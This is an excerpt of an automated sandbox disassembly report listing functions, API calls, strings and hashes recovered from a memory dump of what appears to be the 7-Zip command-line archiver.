:$DATA, xrefs: 00118030, 00118040
\, xrefs: 00117F44
:, xrefs: 00117F3A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
String ID: :$:$DATA$\
API String ID: 4130059181-1004618218
Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction ID: 6d9cd8634c4de0f19fb758c00b7895ed19a89ccc72659395b037732aaf5dd937
Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction Fuzzy Hash: 55027E3250968096CB28DF29D4902DEB770F7A5750F40823AE79E47B68DF34C5E6CB44

Function 00153E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00153ED4

Part of subcall function 00152E24: fputs.MSVCRT ref: 00152E47
Part of subcall function 00152E24: fputs.MSVCRT ref: 00152E57

fputs.MSVCRT ref: 00153F0F

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

free.MSVCRT ref: 00153F4C
fputs.MSVCRT ref: 00153FAA
fputs.MSVCRT ref: 00153FBA
fputs.MSVCRT ref: 00154003
fputs.MSVCRT ref: 00154013
SysFreeString.OLEAUT32 ref: 001540A1
fputs.MSVCRT ref: 001540C9
SysFreeString.OLEAUT32 ref: 0015418B
SysFreeString.OLEAUT32 ref: 001541C2

Strings

Path, xrefs: 00153EE4
Type, xrefs: 00153F76
= , xrefs: 00153FB3, 0015400C
--, xrefs: 00153ECD
----, xrefs: 001540C2
Warning: The archive is open with offset, xrefs: 00153F08

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$FreeString$fputcfree
String ID: = $--$----$Path$Type$Warning: The archive is open with offset
API String ID: 2701146716-1919703766
Opcode ID: 0d94f0344947542c072f3f7d1a6acdb2a7a7600c81a17a110e60a59a3ca316a5
Instruction ID: 22bd2e32b5c5f134e0747b2784f904a19b73b8151cc98ae64e74cc88c78e99ad
Opcode Fuzzy Hash: 0d94f0344947542c072f3f7d1a6acdb2a7a7600c81a17a110e60a59a3ca316a5
Instruction Fuzzy Hash: CE918C36214E85D2DB14DF22E9947AE7331F795BCAF005122EE6A4B728DF38D999C700

Function 0011F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00111610: free.MSVCRT ref: 00111682
Part of subcall function 00111610: free.MSVCRT ref: 0011168A
Part of subcall function 00111610: free.MSVCRT ref: 001116C4

_CxxThrowException.MSVCRT ref: 0011F76E
_isatty.MSVCRT ref: 0011F77E
_isatty.MSVCRT ref: 0011F796
_isatty.MSVCRT ref: 0011F7AE
_CxxThrowException.MSVCRT ref: 0011F8E0
wcscmp.MSVCRT ref: 0011F96F
_CxxThrowException.MSVCRT ref: 0011F9AE
_CxxThrowException.MSVCRT ref: 0011FA6F
GetCurrentProcess.KERNEL32 ref: 0011FA77
SetProcessAffinityMask.KERNEL32 ref: 0011FA83
free.MSVCRT ref: 0011FA8F

Strings

SeLockMemoryPrivilege, xrefs: 0011F9CB
Unsupported switch postfix -bb, xrefs: 0011F8C3
Unsupported switch postfix for -slp, xrefs: 0011F991
SeRestorePrivilege, xrefs: 0011F91C
Unsupported switch postfix -stm, xrefs: 0011FA52
SeCreateSymbolicLinkPrivilege, xrefs: 0011F92A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: c2f4b7cbffa4da8aa62650c82c274732c1406b7f11731e234dbbf7887eb3a42e
Instruction ID: 33ca19c13845c5f3421bbcd982694155bf738ee65ea9e462584a8ecb234f23fe
Opcode Fuzzy Hash: c2f4b7cbffa4da8aa62650c82c274732c1406b7f11731e234dbbf7887eb3a42e
Instruction Fuzzy Hash: 14A18C73608AC4D9EB25DF25E4903ED7B60E795B94F98807ADB8C47765CF28C986C700

Function 0015A448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 0015A477

Part of subcall function 001126A0: fputs.MSVCRT ref: 001126C1

fputs.MSVCRT ref: 0015A4C1
free.MSVCRT ref: 0015A52B
free.MSVCRT ref: 0015A533
free.MSVCRT ref: 0015A545
free.MSVCRT ref: 0015A57A
free.MSVCRT ref: 0015A582
free.MSVCRT ref: 0015A594
_CxxThrowException.MSVCRT ref: 0015A5E1
free.MSVCRT ref: 0015A5EF
free.MSVCRT ref: 0015A61C
free.MSVCRT ref: 0015A62E

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

Strings

Warnings: , xrefs: 0015A470
Errors: , xrefs: 0015A4BA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: 40a164d8ef110d7c6f53597072ad901ddf4be2da223ed109514b88298d34997d
Instruction ID: f33c639eeb08bd3557b34384c69ab894902ceadd14d5739630a28ec91020cd30
Opcode Fuzzy Hash: 40a164d8ef110d7c6f53597072ad901ddf4be2da223ed109514b88298d34997d
Instruction Fuzzy Hash: BA5196623645C0C1C934EB25E9913EDA361FB92791F884322DEAD1B759DF38C4DAC741

Function 001383C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00118624: free.MSVCRT ref: 001186A9

free.MSVCRT ref: 00138493
free.MSVCRT ref: 001384A7
free.MSVCRT ref: 001384B8
free.MSVCRT ref: 00138503
free.MSVCRT ref: 0013850E

Part of subcall function 001186DC: free.MSVCRT ref: 00118761

free.MSVCRT ref: 0013854D
free.MSVCRT ref: 00138558
free.MSVCRT ref: 00138590
free.MSVCRT ref: 0013859B

Part of subcall function 00138290: free.MSVCRT ref: 0013832B
Part of subcall function 00138290: free.MSVCRT ref: 00138336

free.MSVCRT ref: 001385D0
free.MSVCRT ref: 001385DB
free.MSVCRT ref: 001385EA
free.MSVCRT ref: 00138602

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

Strings

Codecs, xrefs: 0013841F
Path64, xrefs: 001384D6, 00138520
Formats, xrefs: 0013844E
7z.dll, xrefs: 001383F0
Path, xrefs: 0013856A, 001385AA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: f18409108e61e6c053b9858a75b45167d115000fe16667483cf344aa80c4a7d9
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: 8F51A362204A0590DE24EF25E8513EA6720E7D27E4F581222FA5E577B9CF38C6CAC704

Function 0013AB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0013ABC9
free.MSVCRT ref: 0013ACF3
free.MSVCRT ref: 0013ACFE
free.MSVCRT ref: 0013AD95
memmove.MSVCRT(?), ref: 0013ADCB
free.MSVCRT ref: 0013AE70
free.MSVCRT ref: 0013AF7F

Part of subcall function 001394A8: free.MSVCRT ref: 001394DB
Part of subcall function 001394A8: free.MSVCRT ref: 001394E3
Part of subcall function 001394A8: free.MSVCRT ref: 001394F0
Part of subcall function 001394A8: free.MSVCRT ref: 0013951C
Part of subcall function 001394A8: free.MSVCRT ref: 00139525
Part of subcall function 001394A8: free.MSVCRT ref: 0013952D
Part of subcall function 001394A8: free.MSVCRT ref: 0013953A

free.MSVCRT ref: 0013AEC2

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

Part of subcall function 0013A9FC: free.MSVCRT ref: 0013AA95
Part of subcall function 0013A9FC: free.MSVCRT ref: 0013AAC5
Part of subcall function 0013A9FC: free.MSVCRT ref: 0013AAD2

free.MSVCRT ref: 0013AEFA
GetProcAddress.KERNEL32 ref: 0013AF4D

Strings

SetCodecs, xrefs: 0013AF43
Codecs\, xrefs: 0013AE99
7z.dll, xrefs: 0013AE3C, 0013AE89
Formats\, xrefs: 0013AED1

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: c5c5cebdfb8b1fe3bc9f48e8b3820ba4ea19430a76db094a28c5f74b8e2b3a45
Instruction ID: 8f155fe7bfe422cc6e121be6521a1cd781d96f0acd46d97aebca53960ff1e94e
Opcode Fuzzy Hash: c5c5cebdfb8b1fe3bc9f48e8b3820ba4ea19430a76db094a28c5f74b8e2b3a45
Instruction Fuzzy Hash: 53B1D376204AC092CB20EB21E4903AFB760F795788F844215EBCE47B29CF7DC5A9C701

Function 00151850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00151877
fputs.MSVCRT ref: 0015190A
LeaveCriticalSection.KERNEL32 ref: 00151A44

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

fputs.MSVCRT ref: 0015194D

Part of subcall function 001126A0: fputs.MSVCRT ref: 001126C1

fputs.MSVCRT ref: 001519CB
fputs.MSVCRT ref: 001519EA
LeaveCriticalSection.KERNEL32 ref: 00151A51

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

free.MSVCRT ref: 00151A14

Strings

Can't allocate required memory!, xrefs: 001519E3
Everything is Ok, xrefs: 00151903
p, xrefs: 001519A4
ERROR: , xrefs: 001519C4
Sub items Errors: , xrefs: 00151946

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: 00b0e537d4ffefddec52b66757bd7e4d904c0f2f8dd17a6a25b95f70ab0f44f6
Instruction ID: 5c1089be2d80501a3778add70ab60483154fe739441e0fce18af331197c7f53b
Opcode Fuzzy Hash: 00b0e537d4ffefddec52b66757bd7e4d904c0f2f8dd17a6a25b95f70ab0f44f6
Instruction Fuzzy Hash: B7516F72345A81E2EB2E9F25D9A03ED6320F794B95F544126DF3E0B651CF78D4A9C300

Function 001338E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013373C: free.MSVCRT ref: 001337FB

memmove.MSVCRT ref: 0013396F
free.MSVCRT ref: 00133986
free.MSVCRT ref: 00133A11
_CxxThrowException.MSVCRT ref: 00133A5F
free.MSVCRT ref: 00133AD3

Part of subcall function 00133864: free.MSVCRT ref: 00133877
Part of subcall function 00133864: free.MSVCRT ref: 00133892
Part of subcall function 00133864: free.MSVCRT ref: 0013389B
Part of subcall function 00133864: free.MSVCRT ref: 001338C6
Part of subcall function 00133864: free.MSVCRT ref: 001338CE

Strings

Duplicate archive path:, xrefs: 00133C07
Cannot find archive, xrefs: 00133A42

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: 15ebe3c882bc9668213b7dd33c6c16c3777921ba145b699e337e3eca45f7d6ba
Instruction ID: 0bc3e126a23b2a008f8e61f20a7571a322366f3869d32a21d89c3badd2b0b122
Opcode Fuzzy Hash: 15ebe3c882bc9668213b7dd33c6c16c3777921ba145b699e337e3eca45f7d6ba
Instruction Fuzzy Hash: A2A1A572315B8492CA24EB15E89069EB3A1F7D5BD0F445522EF9E47B28DF38C986CB04

Function 001442A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 00144324
free.MSVCRT ref: 0014441A
free.MSVCRT ref: 00144425

Strings

, xrefs: 00144466

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: 3aa71f5739002ec70ae4d321f5bd210f1a65664215592b72844cec7c5cd73cb9
Instruction ID: d040aca79f2cfd53f64ca0dd6f26ee9278c71eb076d11cf3767e6f73c35c71d4
Opcode Fuzzy Hash: 3aa71f5739002ec70ae4d321f5bd210f1a65664215592b72844cec7c5cd73cb9
Instruction Fuzzy Hash: 40D13E37209BC496CB25DF65E0902AEBB60F7D6B44F445026EB8E47B29DF78C599CB00

Function 001391E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00139205
GetProcAddress.KERNEL32 ref: 00139219
GetProcAddress.KERNEL32 ref: 0013922D
GetProcAddress.KERNEL32 ref: 00139257
memmove.MSVCRT ref: 001392F0
GetProcAddress.KERNEL32 ref: 0013931C

Strings

GetHashers, xrefs: 00139315
CreateEncoder, xrefs: 0013920E
GetNumberOfMethods, xrefs: 00139245
CreateDecoder, xrefs: 001391FB
GetMethodProperty, xrefs: 00139222

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: bfb679ee44490635c7c9ef6076614f070b1805b77f4c87bdddfd2ccebb1e762b
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: A54148B6215A41C6DB30DF25F88079EB3A1F794784F400526EB8E877A4DFB8C949CB00

Function 00151BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00151CF9

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

fputs.MSVCRT ref: 00151DEE
fputs.MSVCRT ref: 00151F07
fputs.MSVCRT ref: 00151F5C

Part of subcall function 0015171C: fputs.MSVCRT ref: 00151744
Part of subcall function 0015171C: fputs.MSVCRT ref: 00151758
Part of subcall function 0015171C: free.MSVCRT ref: 0015176B

Part of subcall function 00116618: FormatMessageW.KERNEL32 ref: 00116676
Part of subcall function 00116618: LocalFree.KERNEL32 ref: 00116698

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

free.MSVCRT ref: 00151F86

Strings

ERRORS:, xrefs: 00151CBF, 00151CF2
WARNINGS:, xrefs: 00151DB4, 00151DE7
ERROR: , xrefs: 00151F00
Can't allocate required memory, xrefs: 00151F55

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction ID: 1fad1f2946326f43e26e1a8a2d4e4649be1bd388cf86d80a902f63b769c7342f
Opcode Fuzzy Hash: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction Fuzzy Hash: D5A13B66304A84EACA2AEF61D5913EDB321F755B81F484126DF6E0B611DFB8D8A8C300

Function 0015949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001594EE
_CxxThrowException.MSVCRT ref: 0015A5E1
free.MSVCRT ref: 0015A5EF
free.MSVCRT ref: 0015A61C
free.MSVCRT ref: 0015A62E
free.MSVCRT ref: 0015A696
free.MSVCRT ref: 0015A69E
free.MSVCRT ref: 0015A6B0

Strings

Decoding ERROR, xrefs: 001594E7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: 9b65c4bf3ba16e595d6092630633b374ea93aeeb0e2f2a8c1d3ec1ebc3b51548
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: 393106623659C0D1CA30EF25E8803EDA360FB92781F884622CE6E4B758DF78C989C701

Function 0013A7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00116464: FreeLibrary.KERNELBASE(?,?,?,001164E7), ref: 00116475

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

GetProcAddress.KERNEL32 ref: 0013A8CA
GetProcAddress.KERNEL32 ref: 0013A8E8
GetProcAddress.KERNEL32 ref: 0013A908
free.MSVCRT ref: 0013A985
free.MSVCRT ref: 0013A996

Strings

SetCaseSensitive, xrefs: 0013A8DD
CreateObject, xrefs: 0013A8FD
SetLargePageMode, xrefs: 0013A8BF

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: 55ef3e482220098907c29e21487eddfc4985326d881a58b2169a43c828aeff94
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: E241A036201B4086DF25EF26E85079E7360FB95B98F888524DFDA47B65EF38C886C341

Function 0015B480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0015B723
fputs.MSVCRT ref: 0015B743

Part of subcall function 001138C8: memmove.MSVCRT(0011A0E5), ref: 00113907

Part of subcall function 00113A64: memmove.MSVCRT ref: 00113AAA

GetTickCount.KERNEL32 ref: 0015B49E

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

strcmp.MSVCRT ref: 0015B4E3
wcscmp.MSVCRT ref: 0015B502
strcmp.MSVCRT ref: 0015B568

Strings

. , xrefs: 0015B6AC

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: 6c5b0d232f6a8cfcd27a68b1e3964036fd50a4b1153c061daea3a9839908a66f
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: E2A14B77704A85EBCB19DF2AD69029D7361F354785F808026DB6A4BB11EF34E8BAC740

Function 00139D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00139BCC: free.MSVCRT ref: 00139C11
Part of subcall function 00139BCC: free.MSVCRT ref: 00139C19
Part of subcall function 00139BCC: free.MSVCRT ref: 00139C3B

Part of subcall function 00139BCC: free.MSVCRT ref: 00139D2A

wcscmp.MSVCRT ref: 00139E66
free.MSVCRT ref: 00139ECA
free.MSVCRT ref: 00139ED4
free.MSVCRT ref: 00139F13
free.MSVCRT ref: 00139F1B
free.MSVCRT ref: 00139F28
free.MSVCRT ref: 00139F49
free.MSVCRT ref: 00139F51

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: d0aa5396e947f703ac514a2bac08324cffc8975aa9933586a56ea8b49374fbdb
